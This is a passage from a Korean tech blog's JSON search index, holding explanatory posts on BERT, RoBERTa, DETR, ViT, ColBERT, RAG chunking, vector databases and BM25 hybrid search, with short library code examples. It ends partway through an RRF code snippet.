있다.\n트레이드오프 BERT는 파인튜닝 비용이 작다. 사전학습된 가중치에서 출발하므로 수천~수만 개의 레이블 데이터로도 충분한 성능이 나온다. 그러나 추론이 느리다. 512 토큰 입력에서 BERT-base도 CPU에서 수백 밀리초가 걸린다. 실시간 서비스에서는 BERT의 경량화 버전인 DistilBERT, TinyBERT를 사용한다.\n","permalink":"https://charminggroot.github.io/posts/072-bert/","summary":"BERT(2018)는 트랜스포머 인코더를 양방향으로 사전학습한 모델이다. MLM과 NSP 두 가지 태스크로 대규모 텍스트에서 언어 표현을 학습하고, 다운스트림 태스크에 파인튜닝한다. 문맥 의존 임베딩으로 다의어를 처리하고, 이후 NLP 사전학습 모델의 기준이 됐다.","title":"072. BERT — 양방향 트랜스포머 인코더"},{"content":"BERT가 발표된 지 얼마 지나지 않아 Facebook AI의 Liu 등은 BERT가 충분히 학습되지 않았다는 것을 발견했다. 2019년 발표한 RoBERTa(Robustly Optimized BERT Pretraining Approach)는 아키텍처는 그대로 두고 학습 방식만 바꿔 BERT를 크게 앞섰다.\nBERT의 어디가 문제였나 논문의 핵심 주장은 단순하다. BERT는 학습이 부족했다(undertrained). 더 오래, 더 많은 데이터로, 더 큰 배치로 학습하면 성능이 크게 오른다.\n주요 변경 사항 NSP 제거 BERT의 NSP(Next Sentence Prediction) 태스크를 제거했다. 실험 결과 NSP가 오히려 성능을 해친다는 것을 발견했다.\nNSP를 위해 두 문장을 이어붙이면 각 문장이 짧아진다. 하나의 긴 문서를 연속으로 처리하는 것이 문맥 학습에 더 유리하다. RoBERTa는 단일 문장이 아닌 문서 단위의 긴 시퀀스(최대 512 토큰)를 그대로 입력한다.\n동적 마스킹 (Dynamic Masking) BERT는 데이터 전처리 시 마스킹을 한 번 고정해 학습 내내 같은 마스킹 패턴을 사용한다.\nRoBERTa는 매 에폭(epoch)마다 다른 마스킹 패턴을 적용한다. 같은 문장이라도 에폭마다 다른 토큰이 마스킹된다. 40에폭 학습이면 같은 문장을 40가지 다른 마스킹 패턴으로 본다. 더 다양한 학습 신호를 제공한다.\n더 많은 데이터 BERT: Wikipedia + BookCorpus (16GB)\nRoBERTa: Wikipedia + BookCorpus + CC-News + OpenWebText + Stories (160GB)\n10배 더 많은 데이터로 학습했다.\n더 크고 오래 BERT-base: 배치 256, 100만 스텝\nRoBERTa: 배치 8192, 50만 스텝 (실질적으로 8배 더 많은 토큰)\n큰 배치는 더 안정적인 기울기 추정을 제공하고, 학습률을 더 높게 설정할 수 있다.\n더 큰 BPE 어휘 BERT의 WordPiece 어휘(30,000) 대신 GPT-2의 Byte-level BPE(50,000)를 사용한다. OOV가 없고 다양한 언어와 특수 문자를 처리한다.\n성능 비교 GLUE 벤치마크(자연어 이해 종합 평가):\n모델 GLUE 점수 BERT-large 80.4 RoBERTa-large 88.5 같은 아키텍처에서 학습 방식만 바꿔 8점이 올랐다.\n시사점 RoBERTa가 주는 교훈은 아키텍처 혁신만큼 학습 레시피가 중요하다는 것이다.\n이후 연구들이 동일한 교훈을 반복해서 확인했다. LLaMA가 GPT-3보다 작은 모델로 비슷한 성능을 낸 것도 더 많은 데이터를 더 오래 학습했기 때문이었다. Chinchilla 논문은 모델 크기와 학습 토큰 수의 최적 비율을 제시하며 당시 모델들이 모두 학습 부족 상태였음을 보였다.\n\u0026ldquo;더 큰 모델이 더 좋다\u0026quot;보다 \u0026ldquo;같은 크기라면 더 잘 학습된 모델이 더 좋다\u0026quot;가 더 정확한 명제다.\n트레이드오프 RoBERTa는 BERT보다 학습 비용이 훨씬 높다. 160GB 데이터, 배치 8192, 긴 학습 시간은 대기업이나 연구기관이 아니면 처음부터 학습하기 어렵다. 그러나 사전학습된 가중치를 허깅페이스(Hugging Face)에서 다운로드해 파인튜닝하는 것은 누구나 할 수 있다. 실무에서는 사전학습 비용보다 파인튜닝 비용이 중요하고, 이 부분에서 BERT와 RoBERTa의 차이는 크지 않다.\n","permalink":"https://charminggroot.github.io/posts/073-roberta/","summary":"RoBERTa(2019)는 BERT 아키텍처를 바꾸지 않고 학습 방식만 개선해 성능을 크게 높였다. NSP 제거, 더 많은 데이터, 더 큰 배치, 동적 마스킹이 핵심이다. \u0026lsquo;좋은 사전학습 레시피\u0026rsquo;가 아키텍처만큼 중요하다는 것을 보여줬다.","title":"073. RoBERTa — BERT 학습 방식 개선"},{"content":"YOLO를 포함한 기존 객체 탐지 모델들은 공통적인 수작업 컴포넌트가 있었다. 앵커 박스 설계, NMS 후처리, 앵커와 정답 박스의 매칭 규칙이다. 이것들은 도메인 지식이 필요하고 하이퍼파라미터 튜닝이 까다롭다.\nFacebook AI의 Carion 등이 2020년 발표한 DETR(Detection Transformer)은 이 수작업 컴포넌트를 제거하고 트랜스포머로 End-to-End 탐지를 구현했다.\n아키텍처 세 부분으로 구성된다.\nCNN 백본: ResNet으로 이미지에서 특징 맵을 추출한다. (H/32 × W/32 × 2048)\n트랜스포머 인코더-디코더\n인코더: 특징 맵을 시퀀스로 펼쳐 셀프 어텐션으로 전역 문맥을 포착한다 디코더: N개의 학습 가능한 **오브젝트 쿼리(object query)**를 입력으로 받는다. 각 쿼리가 이미지에서 하나의 객체를 담당한다 FFN 예측 헤드: 각 쿼리의 출력으로 클래스와 바운딩 박스를 예측한다\n이미지 ↓ ResNet 특징 맵 (H/32 × W/32) ↓ 위치 인코딩 추가 ↓ 트랜스포머 인코더 인코더 출력 ↓ N개 오브젝트 쿼리 → 트랜스포머 디코더 → N개 예측 (클래스 + 박스) N = 100으로 설정하면 최대 100개 객체를 탐지한다. 실제 객체가 3개라면 나머지 97개는 \u0026ldquo;객체 없음(no object)\u0026rdquo; 클래스를 예측한다.\n헝가리안 매칭 (Hungarian Matching) N개 예측과 실제 정답 박스를 1대1로 연결하는 것이 핵심이다. 기존 모델처럼 앵커당 IoU 기준으로 정답을 할당하지 않는다.\n헝가리안 알고리즘으로 예측-정답 간 비용이 최소인 이분 매칭을 구한다.\n비용 = 클래스 예측 오류 + 박스 위치 오류 (L1 + GIoU) 최적 매칭이 구해지면, 매칭된 쌍에서만 손실을 계산한다. 매칭되지 않은 예측은 \u0026ldquo;no object\u0026rdquo; 손실만 받는다.\n이 방식 덕분에 같은 객체에 여러 예측이 생기는 중복 탐지 문제가 구조적으로 사라진다. NMS가 필요 없다.\n셀프 어텐션의 역할 DETR에서 트랜스포머 어텐션이 의미 있는 역할을 한다는 것을 시각화로 확인할 수 있다.\n인코더의 어텐션 맵을 보면, 특정 위치를 쿼리했을 때 같은 객체에 속하는 영역들이 함께 강조된다. 트랜스포머가 객체의 경계를 스스로 파악하는 것이다.\n디코더의 각 오브젝트 쿼리가 이미지의 서로 다른 영역에 집중한다. 쿼리들이 암묵적으로 이미지를 분할해 각자 다른 객체를 담당한다.\n한계와 개선 느린 학습 수렴: COCO 데이터셋에서 Faster R-CNN은 수십 에폭이면 충분하지만 DETR은 500 에폭이 필요하다. 헝가리안 매칭이 초기에 불안정하고, 오브젝트 쿼리가 역할을 잡는 데 시간이 걸린다.\n소형 객체 약점: CNN 백본이 32배 다운샘플링하므로 작은 객체의 정보가 손실된다.\n이를 개선한 후속 모델들이 등장했다.\nDeformable DETR(2021): 전체 특징 맵에 어텐션하지 않고 각 쿼리가 관련 위치만 샘플링하는 변형 가능 어텐션(deformable attention)을 사용한다. 수렴이 10배 빨라지고 다중 스케일 특징을 활용해 소형 객체도 잘 탐지한다.\nDINO(탐지, 2022): 대조 학습과 혼합 쿼리 선택으로 성능을 높인 DETR 계열 모델이다. COCO 벤치마크에서 최고 성능을 오래 유지했다.\n트레이드오프 DETR은 구조가 단순하고 앵커 관련 하이퍼파라미터 튜닝이 필요 없다. 그러나 학습이 느리고 대규모 GPU 클러스터가 필요하다. 실시간 탐지에는 여전히 YOLO 계열이 적합하고, 정확도가 중요하거나 맞춤 데이터셋에서 파인튜닝할 때 DETR 계열이 유리하다.\n","permalink":"https://charminggroot.github.io/posts/074-detr/","summary":"DETR(2020)은 트랜스포머를 객체 탐지에 처음 적용한 모델이다. NMS 같은 수작업 후처리 없이 이미지에서 객체를 End-to-End로 탐지한다. 헝가리안 매칭으로 예측과 정답을 1대1로 연결해 중복 탐지 문제를 해결했다.","title":"074. DETR — 트랜스포머 기반 객체 탐지"},{"content":"트랜스포머가 NLP를 장악하자 자연스러운 질문이 따라왔다. 이미지에도 적용할 수 있지 않을까?\n문제는 이미지가 시퀀스가 아니라는 점이다. 512×512 픽셀 이미지를 그대로 시퀀스로 펼치면 262,144 토큰이다. 트랜스포머의 O(n²) 어텐션 연산으로는 처리 불가능하다.\nGoogle Brain의 Dosovitskiy 등이 2020년 발표한 ViT(Vision Transformer)는 이미지를 **패치(patch)**로 분할해 이 문제를 해결했다.\n이미지를 패치 시퀀스로 입력 이미지 (224×224×3) ↓ 16×16 패치로 분할 196개 패치 (14×14 그리드, 각 패치 16×16×3 = 768 픽셀) ↓ 선형 투영 (Linear Projection) 196개 패치 임베딩 (각 768차원) ↓ [CLS] 토큰 추가 197개 토큰 시퀀스 ↓ 위치 임베딩 추가 ↓ 트랜스포머 인코더 [CLS] 출력 → 분류 헤드 16×16 패치로 분할하면 196개 토큰이다. BERT의 512 토큰보다 적어 트랜스포머가 처리할 수 있는 범위 안에 들어온다.\n패치 임베딩 각 패치(16×16×3 = 768 픽셀)를 선형 투영으로 d차원 벡터로 변환한다. 학습 가능한 가중치 행렬 E (768 × d)를 곱한다. 이것이 패치 임베딩이다. CNN의 합성곱 연산 없이 단순 행렬 곱으로 처리한다.\n[CLS] 토큰과 위치 임베딩 BERT와 마찬가지로 시퀀스 앞에 [CLS] 토큰을 추가한다. 트랜스포머를 통과한 후 이 토큰의 출력이 이미지 전체의 표현이 되고, 분류 헤드에 입력된다.\n위치 임베딩도 학습 가능한 파라미터로 1D 위치(0~196)를 인코딩한다. 논문에서 2D 위치 인코딩(행, 열 따로)과 비교했지만 성능 차이가 없었다. 트랜스포머가 어텐션을 통해 공간 관계를 학습하기 때문으로 해석된다.\n핵심 발견: 데이터 스케일 ViT가 ResNet을 이기려면 대규모 데이터가 필요하다.\n학습 데이터 ViT-L/16 vs ResNet152 ImageNet (1.2M) ResNet 승 ImageNet-21k (14M) 비슷 JFT-300M (300M) ViT 승 CNN은 합성곱의 귀납적 편향(inductive bias) 덕분에 적은 데이터에서도 잘 학습한다. 평행 이동 불변성, 지역 연결성이 이미지의 구조와 잘 맞는다.\nViT는 이런 사전 지식이 없다. 공간 관계를 처음부터 데이터에서 학습해야 한다. 데이터가 충분하면 더 유연하게 전역 관계를 포착하지만, 데이터가 부족하면 CNN이 낫다.\n어텐션 시각화 ViT의 어텐션 맵을 시각화하면 흥미로운 패턴이 나온다. 초기 레이어는 인접 패치에 집중하는 지역적 어텐션을 보이고, 깊은 레이어로 갈수록 의미 있는 객체 전체에 걸친 전역 어텐션을 보인다. CNN처럼 설계하지 않았는데도 스스로 지역→전역 계층을 학습한다.\n모델 크기 모델 레이어 히든 크기 헤드 파라미터 ViT-B/16 12 768 12 86M ViT-L/16 24 1024 16 307M ViT-H/14 32 1280 16 632M /16은 패치 크기 16×16, /14는 14×14를 의미한다. 패치가 작을수록 토큰 수가 많아 더 세밀하지만 느리다.\n이후 영향 ViT는 비전 모델의 패러다임을 바꿨다. 이후 DeiT(데이터 효율적 ViT), Swin Transformer(계층적 ViT), DINO, MAE 등이 ViT를 기반으로 발전했다.\n또한 비전과 언어를 같은 아키텍처로 처리할 수 있다는 것을 보여줬다. CLIP, BLIP, LLaVA 같은 멀티모달 모델에서 비전 인코더로 ViT를 사용하는 것이 표준이 됐다.\n트레이드오프 ViT는 전역 어텐션을 처음부터 계산하므로 작은 이미지나 소형 객체 탐지에서 CNN보다 효율이 낮다. Swin Transformer는 이를 계층적 구조와 윈도우 어텐션으로 보완했다. 또한 ViT의 O(n²) 어텐션은 고해상도 이미지에서 메모리와 연산량이 폭발한다. 2048×2048 의료 영상이나 위성 영상 처리에는 추가적인 효율화 기법이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/075-vit/","summary":"ViT(2020)는 이미지를 패치로 나눠 트랜스포머에 입력하는 방식으로 CNN 없이 이미지를 처리한다. 충분히 큰 데이터셋으로 학습하면 ResNet을 능가한다. 이후 비전 모델의 패러다임을 CNN에서 트랜스포머로 전환하는 계기가 됐다.","title":"075. ViT — Vision Transformer"},{"content":"Sentence Transformers의 Bi-Encoder와 Cross-Encoder는 명확한 트레이드오프가 있다.\nBi-Encoder는 쿼리와 문서를 각각 단일 벡터로 압축해 코사인 유사도를 계산한다. 빠르지만 두 텍스트 간의 세밀한 어휘 매칭이 손실된다.\nCross-Encoder는 쿼리와 문서를 함께 처리해 정밀한 점수를 낸다. 정확하지만 문서마다 추론을 실행해야 해 대규모 검색에 사용할 수 없다.\nStanford의 Khattab과 Zaharia가 2020년 발표한 ColBERT는 두 방식 사이에 새로운 선택지를 제시했다.\nLate Interaction ColBERT의 핵심 아이디어는 **늦은 상호작용(Late Interaction)**이다.\nBi-Encoder(Early Compression): 쿼리/문서 → 단일 벡터 → 유사도\nCross-Encoder(Early Interaction): 쿼리+문서 → 함께 처리 → 점수\nColBERT(Late Interaction): 쿼리/문서 → 토큰 벡터들 → 매칭\n쿼리와 문서를 각각 인코딩하되, 단일 벡터가 아니라 토큰별 벡터 시퀀스를 유지한다.\n쿼리 \u0026#34;k8s Pod 스케일링\u0026#34; → [v_k8s, v_Pod, v_스케일링] (3개 벡터) 문서 \u0026#34;HPA는 CPU 기반으로...\u0026#34; → [v_HPA, v_는, v_CPU, ...] (N개 벡터) MaxSim 연산 유사도 계산은 **MaxSim(Maximum Similarity)**으로 한다.\nscore(쿼리, 문서) = Σ max(쿼리_토큰 · 문서_토큰) 쿼리 토큰마다 각 쿼리 토큰이 문서의 모든 토큰과 내적을 계산하고, 그 중 가장 높은 값을 선택(max)한 뒤, 모든 쿼리 토큰의 최댓값을 합산(sum)한다. \u0026ldquo;k8s\u0026rdquo; 쿼리 토큰은 문서에서 \u0026ldquo;쿠버네티스\u0026quot;와 높은 유사도를 갖는다. \u0026ldquo;스케일링\u0026rdquo; 쿼리 토큰은 \u0026ldquo;HPA\u0026rdquo;, \u0026ldquo;자동\u0026rdquo;, \u0026ldquo;확장\u0026quot;과 높은 유사도를 갖는다. 각 쿼리 토큰이 문서에서 자신과 가장 관련된 부분을 찾는다.\n단일 벡터로 압축했을 때 사라지는 어휘 수준의 매칭 정보를 보존한다.\n효율적인 인덱싱 Cross-Encoder와 달리 문서 벡터를 미리 계산해 저장할 수 있다.\n오프라인: 문서들 → BERT → 토큰 벡터들 → 인덱스 저장 온라인: 쿼리 → BERT → 토큰 벡터들 → MaxSim → 점수 검색 시 쿼리만 새로 인코딩하고, 저장된 문서 벡터로 MaxSim을 계산한다. 문서당 추론이 없다.\nColBERT v2 2021년 발표된 ColBERT v2는 벡터 압축으로 저장 공간을 줄였다. 토큰 벡터를 잔차 압축(residual compression)으로 양자화해 원본 대비 6~10배 작은 인덱스를 만든다. 속도 손실 없이 저장 공간 문제를 해결했다.\n성능 위치 방식 속도 정확도 저장 공간 Bi-Encoder 빠름 낮음 작음 ColBERT 중간 높음 큼 Cross-Encoder 느림 최고 — 트레이드오프 ColBERT의 단점은 저장 공간이다. 문서당 단일 벡터가 아니라 토큰 수만큼의 벡터를 저장한다. 문서가 100 토큰이면 Bi-Encoder 대비 100배 더 많은 벡터를 저장한다. 수백만 문서 규모에서는 ColBERT v2의 압축이 필수다.\nRAGatouille 같은 라이브러리가 ColBERT를 쉽게 사용할 수 있게 래핑해 제공한다. 검색 정확도가 중요하고 저장 공간 여유가 있다면 Bi-Encoder 대신 ColBERT를 고려할 만하다.\n","permalink":"https://charminggroot.github.io/posts/076-colbert/","summary":"ColBERT(2020)는 쿼리와 문서를 각각 토큰 단위 벡터로 인코딩하고, 검색 시 MaxSim 연산으로 유사도를 계산하는 Late Interaction 방식을 제안했다. Bi-Encoder의 속도와 Cross-Encoder의 정확도 사이 균형을 잡는다.","title":"076. ColBERT — Late Interaction 검색"},{"content":"임베딩 모델은 입력 길이에 제한이 있다. BERT 계열은 512 토큰, 현대 임베딩 모델도 대부분 512~8192 토큰이다. 100페이지 PDF를 통째로 임베딩할 수 없다. 청킹(chunking)은 문서를 이 한계 안에 들어오는 조각으로 나누는 과정이다.\n청킹이 RAG 품질을 결정한다. 관련 정보가 청크 경계에서 잘리거나, 청크가 너무 짧아 문맥이 없거나, 너무 길어 핵심이 희석되면 검색이 실패한다.\n고정 크기 청킹 가장 단순한 방법이다. 토큰 수 기준으로 일정 크기로 자른다.\nfrom langchain.text_splitter import CharacterTextSplitter splitter = CharacterTextSplitter( chunk_size=500, # 청크당 토큰 수 chunk_overlap=50, # 인접 청크 간 겹치는 토큰 수 ) chunks = splitter.split_text(document) **오버랩(overlap)**이 중요하다. 오버랩 없이 자르면 문장이 청크 경계에서 끊긴다. 50~100 토큰 오버랩으로 앞 청크의 끝 부분을 다음 청크 시작에 포함시켜 문맥 연속성을 유지한다.\n단점: 문장 중간에서 자를 수 있다. 단락, 섹션 경계를 무시한다.\n재귀적 문자 분할 LangChain의 RecursiveCharacterTextSplitter가 대표적이다. 구분자 우선순위를 설정해 최대한 의미 단위로 자른다.\nsplitter = RecursiveCharacterTextSplitter( chunk_size=500, chunk_overlap=50, separators=[\u0026#34;\\n\\n\u0026#34;, \u0026#34;\\n\u0026#34;, \u0026#34;.\u0026#34;, \u0026#34; \u0026#34;, \u0026#34;\u0026#34;] ) \\n\\n(단락 경계)로 먼저 분리 시도 → 청크가 너무 크면 \\n으로 분리 → 그래도 크면 .으로 → 마지막엔 공백이나 문자 단위로. 의미 단위를 최대한 보존하면서 크기 제한을 지킨다.\n실무에서 가장 많이 쓰이는 방식이다.\n마크다운 / HTML 구조 활용 문서에 구조가 있으면 그 구조를 청킹 기준으로 활용한다.\nfrom langchain.text_splitter import MarkdownHeaderTextSplitter headers = [ (\u0026#34;#\u0026#34;, \u0026#34;h1\u0026#34;), (\u0026#34;##\u0026#34;, \u0026#34;h2\u0026#34;), (\u0026#34;###\u0026#34;, \u0026#34;h3\u0026#34;), ] splitter = MarkdownHeaderTextSplitter(headers_to_split_on=headers) chunks = splitter.split_text(markdown_doc) # 각 청크에 헤더 메타데이터가 붙어있음 섹션별로 나눠지므로 \u0026ldquo;3장 2절의 내용\u0026quot;을 검색할 때 관련 청크를 잘 찾는다. 각 청크에 {\u0026quot;h1\u0026quot;: \u0026quot;3장\u0026quot;, \u0026quot;h2\u0026quot;: \u0026quot;2절\u0026quot;} 메타데이터가 붙어 필터링도 가능하다.\n시맨틱 청킹 문장 임베딩을 활용해 의미적으로 연결된 문장들을 같은 청크로 묶는다. LlamaIndex의 SemanticSplitterNodeParser가 이 방식을 구현한다.\n1. 문서를 문장 단위로 분리 2. 인접 문장들의 임베딩 유사도 계산 3. 유사도가 크게 떨어지는 지점에서 청크 경계 설정 문장1 → 임베딩 문장2 → 임베딩 → 문장1과 유사도 0.92 (같은 청크) 문장3 → 임베딩 → 문장2와 유사도 0.61 (유사도 급감 → 청크 경계) 문장4 → 임베딩 → 문장3과 유사도 0.89 (새 청크) 의미 단위로 잘리므로 검색 품질이 좋다. 단점은 청킹 단계에서 임베딩 계산이 필요해 오프라인 처리가 느리다.\n문서 유형별 전략 문서 유형 권장 방식 일반 텍스트 / 블로그 재귀적 분할, 500~800 토큰 마크다운 문서 헤더 기반 분할 코드 함수/클래스 단위 분할 PDF (스캔) OCR 후 단락 감지 법률/계약서 조항 단위 분할 + 계층 메타데이터 QA 쌍 질문+답변을 하나의 청크로 청크 크기 선택 작은 청크 (128~256 토큰)\n검색 정밀도가 높다 (관련 없는 내용이 섞이지 않음) 문맥이 부족해 LLM이 답을 생성하기 어려울 수 있다 큰 청크 (512~1024 토큰)\n문맥이 풍부하다 검색 시 관련 없는 내용이 섞일 수 있다 Parent-Child 청킹: 작은 청크(child)로 검색하고, 검색된 청크의 상위 청크(parent)를 LLM에 전달한다. 검색 정밀도와 문맥 풍부함을 동시에 얻는다.\n문서 → 큰 청크(parent, 1024 토큰) → 작은 청크(child, 256 토큰) 검색: child 벡터로 찾기 → parent를 LLM에 전달 트레이드오프 청킹 전략 최적화는 도메인과 쿼리 유형에 따라 다르다. 일반적인 최고 전략은 없다. 실제 쿼리 샘플로 청크 크기별 검색 결과를 직접 평가하는 것이 가장 확실하다. LlamaIndex의 RAG 평가 프레임워크나 RAGAS 같은 도구로 청킹 전략의 Faithfulness, Relevancy를 측정할 수 있다.\n","permalink":"https://charminggroot.github.io/posts/077-chunking/","summary":"RAG 파이프라인에서 청킹은 긴 문서를 임베딩 가능한 크기의 조각으로 나누는 과정이다. 청킹 방식이 검색 품질을 직접 결정한다. 고정 크기, 재귀적 분할, 시맨틱 청킹까지 각 방식의 원리와 트레이드오프를 다룬다.","title":"077. 청킹 전략 — RAG를 위한 텍스트 분할"},{"content":"임베딩 모델이 만든 벡터는 수백~수천 차원의 실수 배열이다. 이 벡터들을 저장하고, 쿼리 벡터와 가장 유사한 것을 빠르게 찾는 것이 벡터 DB의 역할이다.\n단순하게는 모든 벡터와 코사인 유사도를 계산해 정렬하면 된다(브루트 포스). 1,000개 문서에서는 충분하지만, 100만 개가 되면 쿼리마다 100만 번의 내적 계산이 필요하다. 벡터 DB는 ANN(Approximate Nearest Neighbor) 알고리즘으로 정확도를 약간 희생하고 속도를 수십~수백 배 높인다.\nHNSW — 주류 인덱싱 알고리즘 대부분의 벡터 DB가 HNSW(Hierarchical Navigable Small World)를 사용한다.\n계층적 그래프 구조다. 상위 레이어는 적은 노드가 긴 거리를 연결하고, 하위 레이어로 갈수록 많은 노드가 세밀하게 연결된다.\n레이어 3: ●────────────────● (장거리 연결, 소수 노드) 레이어 2: ●──●──────●──●──● 레이어 1: ●─●─●────●─●─●─● 레이어 0: ●●●●●●●●●●●●●●●●● (모든 노드, 근거리 연결) 검색 시 최상위 레이어에서 시작해 목표 벡터에 가까운 방향으로 내려오며 탐색한다. 전체를 보지 않고 관련 영역만 탐색한다.\n파라미터 M(각 노드의 최대 연결 수)과 ef_construction(인덱스 구축 시 탐색 범위)으로 속도-정확도 트레이드오프를 조정한다.\nQdrant Rust로 작성된 오픈소스 벡터 DB다. 자체 호스팅과 클라우드 서비스 모두 제공한다.\n특징\n필터링 + 벡터 검색을 동시에 효율적으로 처리한다. 메타데이터 필터를 벡터 검색과 결합할 때 성능이 좋다 페이로드(payload)로 임의의 JSON 메타데이터를 벡터와 함께 저장한다 스파스 벡터와 덴스 벡터를 동시에 저장해 하이브리드 검색을 지원한다 from qdrant_client import QdrantClient from qdrant_client.models import Distance, VectorParams, PointStruct client = QdrantClient(url=\u0026#34;http://localhost:6333\u0026#34;) # 컬렉션 생성 client.create_collection( collection_name=\u0026#34;documents\u0026#34;, vectors_config=VectorParams(size=768, distance=Distance.COSINE), ) # 벡터 삽입 client.upsert( collection_name=\u0026#34;documents\u0026#34;, points=[ PointStruct( id=1, vector=[0.1, 0.2, ...], # 768차원 임베딩 payload={\u0026#34;text\u0026#34;: \u0026#34;원문 텍스트\u0026#34;, \u0026#34;source\u0026#34;: \u0026#34;doc1.pdf\u0026#34;} ) ] ) # 검색 results = client.search( collection_name=\u0026#34;documents\u0026#34;, query_vector=query_embedding, query_filter={\u0026#34;must\u0026#34;: [{\u0026#34;key\u0026#34;: \u0026#34;source\u0026#34;, \u0026#34;match\u0026#34;: {\u0026#34;value\u0026#34;: \u0026#34;doc1.pdf\u0026#34;}}]}, limit=5, ) pgvector PostgreSQL 확장이다. 기존 PostgreSQL에 벡터 타입과 인덱스를 추가한다.\n특징\n기존 PostgreSQL 인프라를 그대로 사용한다. 별도 벡터 DB를 운영하지 않아도 된다 SQL로 벡터 검색과 관계형 쿼리를 함께 실행한다 RDS, Supabase, Neon 등 매니지드 PostgreSQL에서 바로 사용 가능하다 -- 벡터 컬럼 추가 CREATE TABLE documents ( id SERIAL PRIMARY KEY, content TEXT, embedding VECTOR(768) ); -- HNSW 인덱스 생성 CREATE INDEX ON documents USING hnsw (embedding vector_cosine_ops) WITH (m = 16, ef_construction = 64); -- 유사도 검색 SELECT content, 1 - (embedding \u0026lt;=\u0026gt; \u0026#39;[0.1, 0.2, ...]\u0026#39;::vector) AS similarity FROM documents ORDER BY embedding \u0026lt;=\u0026gt; \u0026#39;[0.1, 0.2, ...]\u0026#39;::vector LIMIT 5; -- 필터와 결합 SELECT content FROM documents WHERE metadata-\u0026gt;\u0026gt;\u0026#39;category\u0026#39; = \u0026#39;tech\u0026#39; ORDER BY embedding \u0026lt;=\u0026gt; query_embedding LIMIT 5; \u0026lt;=\u0026gt; 연산자가 코사인 거리, \u0026lt;-\u0026gt; 는 L2 거리, \u0026lt;#\u0026gt; 는 내적이다.\nPinecone 완전 관리형 클라우드 벡터 DB 서비스다. 자체 호스팅이 필요 없다.\n특징\n인프라 관리가 없다. API만으로 사용한다 수십억 개 벡터까지 자동 스케일링한다 Serverless 티어가 있어 소규모 프로젝트에서 무료로 시작할 수 있다 from pinecone import Pinecone pc = Pinecone(api_key=\u0026#34;...\u0026#34;) index = pc.Index(\u0026#34;documents\u0026#34;) # 삽입 index.upsert(vectors=[ {\u0026#34;id\u0026#34;: \u0026#34;doc1\u0026#34;, \u0026#34;values\u0026#34;: [0.1, 0.2, ...], \u0026#34;metadata\u0026#34;: {\u0026#34;text\u0026#34;: \u0026#34;...\u0026#34;}} ]) # 검색 results = index.query( vector=query_embedding, top_k=5, filter={\u0026#34;category\u0026#34;: {\u0026#34;$eq\u0026#34;: \u0026#34;tech\u0026#34;}}, include_metadata=True, ) 선택 기준 기준 Qdrant pgvector Pinecone 자체 호스팅 가능 가능 불가 기존 PostgreSQL 통합 X O X 관리 부담 중간 낮음 (기존 인프라) 없음 대규모 벡터 수 우수 수천만까지 수십억 비용 서버 비용 PostgreSQL 비용 API 과금 하이브리드 검색 내장 별도 구성 내장 규모가 작고 이미 PostgreSQL을 쓴다면 pgvector로 시작하는 것이 가장 단순하다. 벡터 검색 성능이 병목이 되거나 수천만 이상의 벡터를 다룬다면 Qdrant로 이전한다. 인프라 관리를 최소화하고 빠르게 프로토타입을 만들 때는 Pinecone이 적합하다.\n트레이드오프 ANN은 근사 검색이다. 정확한 최근접 이웃을 보장하지 않는다. ef_search(검색 시 탐색 범위)를 높이면 정확도가 올라가지만 속도가 낮아진다. 의료, 법률 같이 검색 정확도가 중요한 도메인에서는 이 파라미터를 신중하게 설정해야 한다.\n벡터 차원이 높을수록(1536, 3072) 인덱스 구축과 검색이 느리고 저장 공간이 커진다. 임베딩 모델을 선택할 때 차원과 성능의 트레이드오프를 고려해야 한다. Matryoshka 방식의 임베딩 모델(text-embedding-3 계열)은 차원을 동적으로 줄일 수 있어 이 문제를 완화한다.\n","permalink":"https://charminggroot.github.io/posts/078-vector-db/","summary":"벡터 DB는 고차원 임베딩 벡터를 저장하고 근사 최근접 이웃(ANN) 검색을 빠르게 수행하는 데이터베이스다. Qdrant, pgvector, Pinecone 세 가지 대표 선택지의 구조, 인덱싱 알고리즘, 트레이드오프를 다룬다.","title":"078. 벡터 DB — Qdrant, pgvector, Pinecone"},{"content":"벡터 검색이 만능이 아니다.\n\u0026ldquo;GPT-4o 모델 ID가 뭐야?\u0026ldquo;라는 쿼리에 벡터 검색은 \u0026ldquo;GPT-4o\u0026quot;와 의미적으로 유사한 문서를 찾는다. 그러나 정확한 모델 ID 문자열이 포함된 문서를 찾는 것은 키워드 매칭이 더 확실하다.\n반대로 \u0026ldquo;텍스트를 벡터로 변환하는 방법\u0026quot;이라는 쿼리에는 \u0026ldquo;임베딩 모델 사용법\u0026quot;이라는 문서가 관련 있다. 공통 키워드가 없어도 의미가 같다. 키워드 검색은 이런 쿼리를 놓친다.\n하이브리드 검색은 두 방식을 결합한다.\nBM25 (Best Match 25) TF-IDF의 개선판이다. 문서에서 단어의 빈도와 문서 간 역빈도를 조합해 관련도를 계산한다.\nBM25(q, d) = Σ IDF(t) × (TF(t,d) × (k1+1)) / (TF(t,d) + k1×(1-b+b×|d|/avgdl)) TF(t,d): 문서 d에서 단어 t의 빈도 IDF(t): 단어 t가 희귀할수록 높음 (많은 문서에 등장하면 낮음) |d|: 문서 길이 avgdl: 평균 문서 길이 k1, b: 조정 파라미터 (보통 k1=1.2~2.0, b=0.75) 단어 빈도가 증가해도 점수가 포화(saturation)되도록 설계해 TF-IDF보다 안정적이다.\nElasticsearch, OpenSearch가 기본 검색 알고리즘으로 BM25를 사용한다.\n스파스 벡터 표현 BM25를 벡터 DB와 통합하는 방법이 스파스 벡터다. 어휘 크기만큼의 차원을 갖지만 대부분이 0이고, 등장한 단어의 차원에만 BM25 점수가 채워진다.\n어휘: [사과, 배, k8s, HPA, Pod, ...] 문서: \u0026#34;HPA는 Pod을 스케일링한다\u0026#34; 스파스 벡터: {HPA: 2.3, Pod: 1.8, 스케일링: 1.5, 나머지: 0} SPLADE 같은 모델은 BERT를 이용해 문서의 잠재 의미를 스파스 벡터로 표현한다. 단순 단어 빈도가 아니라 의미를 반영한 스파스 표현이라 BM25보다 성능이 좋다.\nQdrant와 Pinecone은 스파스+덴스 벡터를 함께 저장하는 네이티브 하이브리드 검색을 지원한다.\nRRF (Reciprocal Rank Fusion) BM25 결과와 벡터 검색 결과를 하나로 합치는 방법이다. 점수의 절대값이 아니라 순위를 기반으로 결합한다.\nRRF(d) = Σ 1 / (k + rank_i(d)) 검색 방식 i마다 k: 상수 (보통 60), 상위 순위의 영향을 완화 rank_i(d): i번째 검색 방식에서 문서 d의 순위 문서가 두 방식 모두에서 높은 순위이면 RRF 점수가 높다.\ndef rrf(bm25_results, vector_results, k=60): scores = {} for rank, 